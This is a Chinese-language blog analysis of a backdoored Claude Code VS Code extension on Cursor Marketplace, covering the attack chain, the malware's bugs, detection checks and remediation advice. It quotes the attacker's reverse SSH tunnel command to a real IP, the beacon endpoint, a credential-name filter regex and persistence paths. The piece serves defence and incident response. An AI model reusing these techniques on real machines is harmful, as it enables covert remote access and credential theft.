专栏从零开始学AI

文章专栏

官方扩展也不等于可信：Claude Code VS Code 扩展供应链攻击拆解

植入 SSH 公钥、反向隧道与持久化——一次 AI 编程工具供应链攻击的完整复盘

2026-10-31 # AI # 安全 # 供应链攻击 # Claude Code # Cursor # SSH

这篇文章值得认真看一下。它不是普通的 VS Code 插件漏洞，而是一次典型的 AI 编程工具供应链攻击（Software Supply Chain Attack）。

最值得警惕的地方是：攻击者把后门植入了 Claude Code 的 VS Code 扩展包。开发者只要在 Cursor 中安装并加载这个扩展，就可能在不知情的情况下，让自己的电脑变成攻击者可以远程登录的机器。

而且，这个后门不是简单地偷几个文件、读取 API Key，而是试图建立一个长期存在的 SSH 远程访问通道。

一、到底发生了什么？

Phorion 的安全研究人员发现，Cursor Marketplace 中分发的官方 Claude Code for VS Code 扩展遭到篡改。

受影响的版本：

2.1.312
2.1.313

注意，这里有一个很重要的细节：

被攻击的不是 Claude Code 的模型，也不是 Claude Code CLI 本身，而是 VS Code 扩展的分发包。

Claude Code 有多种使用方式：

命令行 CLI。
VS Code / Cursor 等编辑器中的扩展。
其他集成方式。

这次事件针对的是通过 Cursor Marketplace 分发的 VS Code 扩展包。不能据此认为所有 Claude Code 使用方式都受到了影响。

Cursor 已经从 Marketplace 移除了这两个受影响版本。

二、攻击者是如何植入后门的？

这部分是整篇文章最有技术含量的地方。

研究人员发现，恶意代码被直接插入了扩展的 extension.js 文件。

正常情况下，一个 VS Code 扩展大致有这样的生命周期：

const vscode = require('vscode');

function activate(context) {
    // 扩展被激活时执行
}

function deactivate() {
    // 扩展停用时执行
}

module.exports = {
    activate,
    deactivate
};

但是被篡改的版本，在原始代码前面插入了一段 IIFE：

(function () {
    // 恶意代码
})();

// 原来的 Claude Code 扩展代码

IIFE 就是立即执行函数表达式。

它的特点是：JavaScript 文件一旦被 Node.js 加载，这段代码就会立即执行，不需要等 VS Code 调用扩展的 activate()。

这意味着：

用户安装了恶意扩展。
Cursor 加载扩展的 JavaScript 文件。
恶意代码立即执行。
正常的 Claude Code 扩展代码甚至还没开始激活，后门就已经开始部署。

恶意代码使用了 Node.js 自带的模块：

child_process：执行系统命令。
fs：读写文件。
os：获取操作系统信息。
path：处理文件路径。
http：发送网络请求。
crypto：计算哈希等。

这里有个值得注意的安全问题：

VS Code 扩展并不是一个权限隔离的沙箱。

扩展通常以当前用户的身份运行，因此能够访问当前用户有权限访问的文件、SSH 配置、环境变量和开发工具。

这也是为什么一个看起来只是 AI 编程助手的扩展，实际上可能拥有非常大的攻击面。

三、后门具体做了什么？

整个攻击链可以拆成四个阶段。

1. 在 SSH 中植入攻击者的公钥

恶意程序首先找到用户的 SSH 配置目录：

~/.ssh/

然后向下面这个文件追加一条攻击者控制的公钥：

~/.ssh/authorized_keys

攻击者公钥的注释是：

svc-telemetry

这里需要理解 SSH 的一个基本机制。

SSH 公钥认证通常是这样的：

用户自己持有私钥。
服务器保存用户的公钥。
用户连接服务器时，用私钥证明自己拥有对应的身份。
服务器通过 authorized_keys 判断是否允许登录。

正常情况下，我们会把自己的公钥添加到服务器的 authorized_keys，这样就不用每次输入密码。

而这次攻击反过来了：

攻击者把自己的公钥偷偷添加到受害者电脑的 authorized_keys。

这意味着，只要攻击者能够连接到受害者电脑的 SSH 服务，就可以使用自己持有的私钥登录受害者的账户。

而且不需要知道受害者的密码。

这一步非常关键，因为它把一个普通的恶意程序，变成了一个具备长期远程登录能力的后门。

2. 建立反向 SSH 隧道

仅仅修改 authorized_keys 还不够。

攻击者还需要能够从外部访问受害者的电脑。

但现实中，开发者的电脑往往处于：

家庭路由器 NAT 后面。
公司内网。
云服务器防火墙之后。
没有公网 IP 的网络环境。

攻击者很难直接连接到受害者的 SSH 端口 22。

于是，恶意程序采用了一个很巧妙的办法：Reverse SSH Tunnel（反向 SSH 隧道）。

它连接攻击者控制的服务器：

134.209.82[.]225

执行的 SSH 命令核心是：

ssh -N -R '*:0:localhost:22' tunnel@134.209.82.225

我们拆开来看：

参数	含义
`-N`	不执行远程 Shell 命令，只建立隧道
`-R`	建立远程端口转发
`*:0`	让远程 SSH 服务器动态分配监听端口
`localhost:22`	将流量转发到受害者本机 SSH 的 22 端口

这里有一个很值得理解的网络知识。

正常 SSH 是：

攻击者电脑 ──────────> 受害者电脑:22

但是受害者电脑可能处于 NAT 后面，外部无法直接访问。

反向 SSH 则是：

受害者电脑 ──────────> 攻击者服务器
        主动建立连接

然后攻击者通过已经建立的连接，反过来访问受害者电脑：

整个过程是：

受害者主动向攻击者服务器建立 SSH 连接。
攻击者服务器分配一个远程监听端口。
攻击者连接这个远程端口。
流量通过已经建立的 SSH 隧道转发到受害者的 localhost:22。
攻击者使用之前植入的 SSH 私钥认证。
获得受害者电脑的交互式 Shell。

这就绕过了很多网络环境下的入站连接限制。

注意，反向隧道并不是绕过了所有防火墙：它仍然需要受害者能够向外建立 SSH 连接，而且攻击者服务器必须允许相应的远程端口转发。

3. 建立持久化机制

如果只启动一个 SSH 进程，用户重启电脑，后门就消失了。

攻击者当然不会满足于此。

恶意程序针对不同操作系统设计了不同的持久化方案。

macOS：LaunchAgent

创建：

~/Library/LaunchAgents/
com.apple.sysmond.plist

伪装成苹果系统服务，设置 RunAtLoad=true 和 KeepAlive=true，让系统登录时自动运行，并在进程退出后重新启动。

Linux：Cron

创建隐藏脚本：

~/.config/.smt
~/.config/.smtk

然后通过用户 crontab 添加 @reboot，实现开机自动运行。

Windows：计划任务

尝试创建名为 SysMon 的计划任务，以 SYSTEM 身份启动。

如果权限不足，则退化到用户 Startup 启动目录：

%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd

此外，它还会在后台运行一个循环，每隔约 60 秒尝试重新建立 SSH 隧道。

所以，即使用户关闭 Cursor，甚至重启电脑，恶意程序仍然可能继续运行。

这就是为什么单纯卸载 Claude Code 扩展是不够的。

4. 收集主机信息并发送给攻击者

最后，恶意程序还会收集一些主机信息：

收集内容	作用
Hostname	识别目标机器
Username	识别当前用户
OS / Architecture	判断操作系统和架构
Home Directory	获取用户目录
Git Email	获取开发者身份线索
Public IP	获取公网 IP
工作目录	了解开发环境
环境变量名称	识别可能存在的凭据

其中有个细节很有意思。

它会过滤环境变量名称：

/KEY|TOKEN|SECRET|PASS|AWS|GCP/i

比如：

OPENAI_API_KEY
ANTHROPIC_API_KEY
AWS_SECRET_ACCESS_KEY
GITHUB_TOKEN
DATABASE_PASSWORD

但它收集的是变量名，不是变量的实际值。

也就是说，这一步主要是进行侦察，帮助攻击者了解受害者机器上可能存在什么样的凭据。

真正获得远程 Shell 之后，攻击者理论上可以进一步访问这些凭据。

收集的信息会通过 HTTP POST 发送到：

134.209.82[.]225:8099/beacon

而且使用的是普通 HTTP，并非 HTTPS。

四、这个攻击为什么没有完全成功？

这篇文章有一个很有意思的技术细节：恶意代码本身存在 Bug。

而且这个 Bug 意外地降低了攻击成功率。

macOS 的权限判断错误

恶意程序想要开启 macOS 的 SSH 服务，使用了：

sudo -n systemsetup -setremotelogin on

但在执行之前，它会先检查 SSH 是否已经开启：

systemsetup -getremotelogin

问题在于，普通用户执行这个命令时，macOS 会返回：

You need administrator access to run this tool...

而不是：

Remote Login: Off

恶意程序的判断逻辑是：

if (/Off/i.test(rl)) {
    // 开启 SSH
}

结果：

它想检查 SSH 是否关闭。
但因为没有管理员权限，拿到的是错误提示。
错误提示中不包含 Off。
程序误以为 SSH 已经开启。
因此跳过开启 SSH 的步骤。

这就是一个典型的错误状态处理问题：

无法确认状态，被错误地当成了状态已经满足。

这会导致什么？

即使攻击者成功建立了反向 SSH 隧道，如果受害者本地 SSH 服务没有运行，隧道最终也无法连接到 localhost:22。

不过，如果 SSH 本来就开启了，攻击链仍然可能成功。

另外，Windows 路径也存在一个问题：它把 PowerShell 命令交给了一个硬编码使用 /bin/sh 的执行函数，因此正常 Windows 环境下也很难完成 SSH 服务安装。

还有一个重要区别：Phorion 分析了 Linux 路径的持久化逻辑，但 Cursor 官方公告明确确认的受影响分发包是 macOS 和 Windows 版本。不能把 Phorion 对 Linux 代码路径的分析直接等同于 Cursor 已确认 Linux 版本也遭到分发攻击。

五、如何检测自己的电脑是否中招？

Cursor 官方已经发布了安全公告，并提供了检测和清理脚本。

下文的检测与清理步骤以 Windows 为例。

1. 检查 SSH 公钥

打开 PowerShell，执行 Cursor 官方提供的检查命令：

$files = "$HOME\.ssh\authorized_keys",
         "C:\ProgramData\ssh\administrators_authorized_keys" |
         Where-Object { Test-Path $_ }

if ($files -and (Select-String svc-telemetry $files)) {
    "svc-telemetry key found"
} else {
    "No key found; machine not impacted"
}

如果出现：

svc-telemetry key found

说明发现了攻击者植入的 SSH 公钥。

如果没有发现，也不要仅凭这一个结果就认定机器绝对安全，因为还需要结合扩展版本、安装时间和其他行为指标判断。

2. 检查其他后门文件

Windows 下重点关注：

%USERPROFILE%\.config\smt.cmd
%USERPROFILE%\.config\smtk
%TEMP%\.stk_*

还要检查：

计划任务 SysMon
Startup 目录中的 sysmon.cmd
是否存在连接 134.209.82.225 的 SSH 进程

3. 如果确认中招，怎么处理？

Cursor 官方提供了 Windows 清理脚本：

官方建议使用管理员权限运行 PowerShell：

powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1

如果确认感染，建议：

先隔离受影响机器，避免继续暴露。
清除恶意扩展、SSH 公钥、持久化脚本和计划任务。
检查 SSH 登录记录及异常网络连接。
从可信设备轮换这台机器能够访问的 API Key、GitHub Token、云平台凭据等。
根据入侵证据评估是否需要重装系统。

特别提醒：不要只卸载扩展。因为它已经把独立的持久化脚本写入了系统。

六、这次事件还有哪些值得注意的地方？

我认为有三个值得深入思考的地方。

第一，官方扩展不等于可信的分发渠道。

这次事件特别容易让人产生误解：

Claude Code 是 Anthropic 开发的，扩展名称也是 Anthropic.claude-code，但这并不代表 Cursor Marketplace 分发的每个包都经过 Anthropic 官方验证。

Cursor 官方明确表示，这两个恶意版本不是 Anthropic 开发的。

这里实际上涉及三个不同角色：

攻击者破坏的是分发链路中的扩展包，而不是必须入侵 Anthropic 的源代码仓库。

这就是典型的供应链攻击。

第二，开发者电脑是一个非常有价值的攻击目标。

普通用户电脑可能只有浏览器、文档和个人文件。

但开发者电脑往往有：

GitHub / GitLab 访问凭据。
AWS、阿里云、腾讯云等云平台凭据。
数据库连接信息。
SSH 私钥。
Docker Registry 凭据。
各种 AI API Key。
公司源代码和内部文档。

攻击者只需要控制一台开发者电脑，就可能获得进入公司内部系统的入口。

尤其是使用 AI Coding Agent 的开发者，通常会给工具开放终端、文件系统和项目目录的访问能力。

因此，开发者电脑实际上已经是一个非常重要的安全边界。

第三，AI Coding Agent 的权限问题会越来越突出。

这次虽然攻击入口是 VS Code 扩展，但值得警惕的是整个 AI 编程工具生态：

Claude Code
Codex
Cursor
OpenClaw
各种 MCP Server
各种 Agent Skills

这些工具越来越多地获得执行 Shell、读写文件、访问网络、调用外部服务的能力。

这使得它们不再只是一个普通的软件插件，而是一个具有较高系统权限的执行环境。

一旦工具本身、扩展、Skill 或 MCP Server 被污染，攻击者就可能借用这些权限完成攻击。

七、对经常使用 Claude Code / Codex 的开发者，有什么建议？

我觉得可以总结成几个实际可执行的原则：

安全措施	建议
插件来源	尽量使用官方分发渠道，避免第三方重新打包
版本管理	不要对关键开发工具盲目自动更新
权限隔离	AI Agent 不要默认拥有整台机器的全部权限
凭据管理	API Key、SSH 私钥尽量不要暴露在 Agent 可随意读取的目录
网络权限	对不必要的外部网络连接进行限制
环境隔离	高风险 Agent 尽量在 Docker、VM 或独立开发环境运行
安全审计	定期检查 SSH 公钥、计划任务、启动项

特别是 Docker 隔离，我想多说一句：

很多人认为把 Claude Code 放进 Docker 就安全了。

其实不一定。

如果你把下面这些东西挂载进去：

~/.ssh
~/.aws
~/.config
/var/run/docker.sock
整个项目目录

那么容器里的恶意程序依然可能获得非常大的权限。

隔离的关键不是用了 Docker，而是限制容器能够访问什么资源，以及能够向哪里发起网络连接。

八、我的最终判断

这次事件的影响范围有一定边界：

Cursor 官方确认受影响的是 Cursor VS Code Extension Marketplace 中的 2.1.312 和 2.1.313。
受影响分发时间为 2026 年 10 月 29 日 2:27 AM 至 1:35 PM（太平洋时间）。
官方表示攻击者服务器已经被关闭。
官方没有发现其他版本或官方分发渠道受到影响的证据。

但已经运行过恶意扩展的机器，不能因为攻击服务器下线就认为安全。植入的 SSH Key 和持久化机制仍然需要清理。

我认为这次事件真正值得警惕的，不是 Claude Code 出了问题，而是：

AI 编程工具正在成为开发者电脑上权限最高、接触数据最多的软件之一。

过去我们安装一个 VS Code 插件，主要担心它有没有 Bug、会不会影响编辑器性能。

现在安装一个 AI 编程扩展，实际上是在决定是否允许一段第三方代码访问自己的开发环境、执行系统命令、读取项目文件。

这个信任级别，已经完全不一样了。

返回专栏首页

已复制